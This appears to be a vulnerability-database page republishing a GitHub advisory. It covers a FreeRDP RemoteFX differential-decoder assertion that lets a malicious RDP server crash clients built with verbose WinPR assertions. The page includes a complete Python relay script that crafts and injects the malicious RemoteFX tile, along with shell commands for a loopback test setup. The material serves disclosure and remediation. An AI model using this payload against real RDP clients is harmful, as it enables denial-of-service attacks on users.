FreeRDP RemoteFX differential decoder assertion aborts client
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-cg4f-57hc-v7w7. Fix status from GitHub. Impact type from CWE-617.
Summary
A malicious RDP server can terminate a connecting FreeRDP client that uses RemoteFX, but only in builds with WinPR verbose assertions enabled (WITH_VERBOSE_WINPR_ASSERT=ON). A crafted RemoteFX tile decodes two adjacent LL3 coefficients to 20,000 each, and the differential decoder sums them to 40,000, which fails a signed 16-bit assertion and aborts the client process. The flaw affects FreeRDP 3.17.0 through 3.32.1 inclusive, and CWE-617 (Reachable Assertion) applies. The CVSS 3.1 base score is 6.5 (MEDIUM), and the impact is limited to availability.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary A malicious RDP server can terminate a connecting FreeRDP client when the client uses RemoteFX and the client build has WinPR verbose assertions enabled (`WITH_VERBOSE_WINPR_ASSERT=ON`). A crafted RemoteFX tile decodes two adjacent LL3 coefficients to 20,000 each. FreeRDP then adds them in its differential decoder and checks that the result fits in a signed 16-bit value. The sum, 40,000, fails that assertion and aborts the client process. ### Details The client must connect to the attacker's server and negotiate the classic RemoteFX path. The end-to-end validation used `/sec:rdp +rfx -gfx` and a plaintext local relay. This does not demonstrate a crash in builds without the verbose WinPR assertion, a confidentiality or integrity impact, or memory corruption. In the matched no-assert build, the client remained active until the four-second test timeout. FreeRDP 3.17.0 is the earliest verified affected stable release: the assertion cast is absent from 3.16.0 and present in 3.17.0. It is present in every stable 3.x tag from 3.17.0 through 3.32.1 inclusive. No fix or fixed release was identified. FreeRDP's security policy lists stable 3.x and master as supported. ### Proof of concept Run only against an isolated test client and test shadow server. Build FreeRDP 3.32.1 with its client, X11 shadow server, and verbose WinPR assertions enabled. In the test setup, start the shadow server with authentication disabled on loopback port 38330 and enable its RemoteFX surface bits. In a second terminal run the relay below; in a third terminal connect the test client through it. The relay forwards the ordinary RDP exchange and injects one complete RemoteFX surface-bits update after observing server graphics traffic. The test server's authentication setting is specific to this isolated reproduction; it is not evidence about authentication requirements in other deployments. Test server: ~~~sh freerdp-shadow-cli /bind-address:127.0.0.1 /port:38330 -auth -gfx +rfx /log-level:INFO ~~~ Save the following complete Python 3 source as `rfx_047_relay.py`: ~~~python #!/usr/bin/env python3 """Loopback RDP relay that injects the CAND-000047 RemoteFX tile.""" import argparse import socket import struct import threading import time def u16(value): return struct.pack("<H", value) def u32(value): return struct.pack("<I", value) def block(kind, data): return u16(kind) + u32(6 + len(data)) + data def rfx_y_data(): # RLGR1 stream: 4032 zeros, then two decoded coefficients of 20000. bits = [] def bit(value): bits.append(value) bits.extend([0] * 19) bit(1) bits.extend((964 >> i) & 1 for i in range(9, -1, -1)) bit(0) bits.extend([1] * 9999) bit(0) bit(1) bit(1) bits.extend([0] * 9) bit(0) bits.extend([1] * 19) bit(0) bits.extend((543 >> i) & 1 for i in range(9, -1, -1)) while len(bits) % 8: bit(1) out = bytearray((len(bits) + 7) // 8) for i, value in enumerate(bits): if value: out[i // 8] |= 0x80 >> (i % 8) return bytes(out) def rfx_message(): y = rfx_y_data() tile = block( 0xCAC3, b"\x00\x00\x00" + u16(0) + u16(0) + u16(len(y)) + u16(0) + u16(0) + y, ) tileset = block( 0xCCC7, b"\x01\x00" + u16(0xCAC2) + u16(0) + u16(0) + b"\x01\x40" + u16(1) + u32(len(tile)) + b"\x00" * 5 + tile, ) return b"".join(( block(0xCCC0, u32(0xCACCACCA) + u16(0x0100)), block(0xCCC1, b"\x01\x01" + u16(0x0100)), block(0xCCC2, b"\x01\x00" + u16(1024) + u16(768)), block(0xCCC3, b"\x01\xff\x00" + u16(0x0040) + u16(0x0200)), block(0xCCC4, b"\x01\x00" + u32(1) + u16(1)), block(0xCCC6, b"\x01\x00\x10" + u16(1) + u16(0) + u16(0) + u16(64) + u16(64) + u16(0xCAC1) + u16(1)), tileset, )) def fastpath_packet(): rfx = rfx_message() command = ( u16(0x0006) + u16(1) + u16(0) + u16(65) + u16(64) + bytes((32, 0, 0, 3)) + u16(64) + u16(64) + u32(len(rfx)) + rfx ) update = bytes((4,)) + u16(len(command)) + command length = 3 + len(update) if length >= 16384: raise ValueError("RemoteFX update is too large for this fast-path header") return bytes((0, 0x80 | (length >> 8), length & 255)) + update def frame_length(data): if data[0] == 3: # TPKT if len(data) < 4: return None return int.from_bytes(data[2:4], "big") if len(data) < 2: return None if data[1] & 0x80: if len(data) < 3: return None return ((data[1] & 0x7f) << 8) | data[2] return data[1] def main(): parser = argparse.ArgumentParser() parser.add_argument("--listen", type=int, default=38331) parser.add_argument("--upstream", type=int, default=38330) args = parser.parse_args() payload = fastpath_packet() listener = socket.socket() listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind(("127.0.0.1", args.listen)) listener.listen(1) print("Listening on 127.0.0.1:%d" % args.listen, flush=True) client, address = listener.accept() server = socket.create_connection(("127.0.0.1", args.upstream)) print("Relaying client %r to 127.0.0.1:%d" % (address, args.upstream), flush=True) def client_to_server(): while True: data = client.recv(65536) if not data: break server.sendall(data) try: server.shutdown(socket.SHUT_WR) except OSError: pass def server_to_client(): buffered = b"" injected = False while True: data = server.recv(65536) if not data: break buffered += data while buffered: length = frame_length(buffered) if length is None or length < 2 or len(buffered) < length: break frame, buffered = buffered[:length], buffered[length:] client.sendall(frame) # A large server graphics frame marks an active session. if not injected and frame[0] != 3 and length > 500: time.sleep(0.15) client.sendall(payload) injected = True print("Injected CAND-000047 RemoteFX update (%d bytes)" % len(payload), flush=True) a = threading.Thread(target=client_to_server) b = threading.Thread(target=server_to_client) a.start() b.start() a.join() b.join() client.close() server.close() listener.close() if __name__ == "__main__": main() ~~~ Start the relay and connect the test client: ~~~sh python3 rfx_047_relay.py --listen 38331 --upstream 38330 ~~~ ~~~sh xfreerdp /v:127.0.0.1:38331 /sec:rdp +rfx -gfx ~~~ ### Impact In the assertion-enabled 3.32.1-dev0 validation, the client process exited with status 134 and logged the fatal assertion at `rfx_differential.h:rfx_differential_decode:34`. The same payload sent to the build configured with `WITH_VERBOSE_WINPR_ASSERT=OFF` produced no fatal assertion; the process was stopped after the four-second timeout (status 124). Exact results depend on using a client build with verbose WinPR assertions enabled and a server that negotiates the classic RemoteFX surface-bits path.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c/c++) | >= 3.17.0, <= 3.32.1 | 3.32.2 | Patch available | GHSA-cg4f-57hc-v7w7 |
- FreeRDP (c/c++) Vendor— Affected >= 3.17.0, <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-cg4f-57hc-v7w7
Remediation
Upgrade FreeRDP to 3.32.2, which fixes the issue. Builds without WITH_VERBOSE_WINPR_ASSERT are not crashed by this input.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-cg4f-57hc-v7w7 FreeRDP (c/c++) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-cg4f-57hc-v7w7
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences